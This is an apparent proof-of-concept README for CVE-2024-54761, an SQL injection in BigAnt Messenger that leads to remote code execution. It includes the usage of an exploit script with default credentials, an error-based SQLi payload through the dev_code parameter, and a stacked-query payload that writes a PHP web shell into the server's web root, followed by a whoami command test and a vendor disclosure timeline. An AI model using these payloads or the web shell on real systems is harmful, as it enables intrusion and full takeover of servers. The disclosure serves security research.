
CVE-2024-54761 PoC
SQL injection vulnerability in BigAnt Messenger causes RCE vulnerability. Follow the steps to exploit.
Usage:
CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
-h, --help show this help message and exit
-r, --rhost RHOST Target IP address
-p, --rport RPORT Target port (default 8000)
-u, --username USERNAME
Login username (default admin)
-P, --password PASSWORD
Login password (default 123456)
Run exploit for default credentials.
python CVE-2024-54761.py -r 127.0.0.1
Extract the database version used with the dev_code parameter that is exposed to SQLi.
# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--
Upload php webshell on target using SQL stack queries.
# Payload
?dev_code=;SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php'-- -
Proof of command execution:
/shell.php?cmd=whoami

31-10-2024: Submitted vulnerabilities to vendor via email
31-10-2024: Emailed vendor, no response
15-11-2024: Emailed vendor, no response
15-11-2024: Requested CVEs
https://gist.github.com/nscan9/a31982c90ab40a8e00373bf15efbf52a
https://www.bigantsoft.com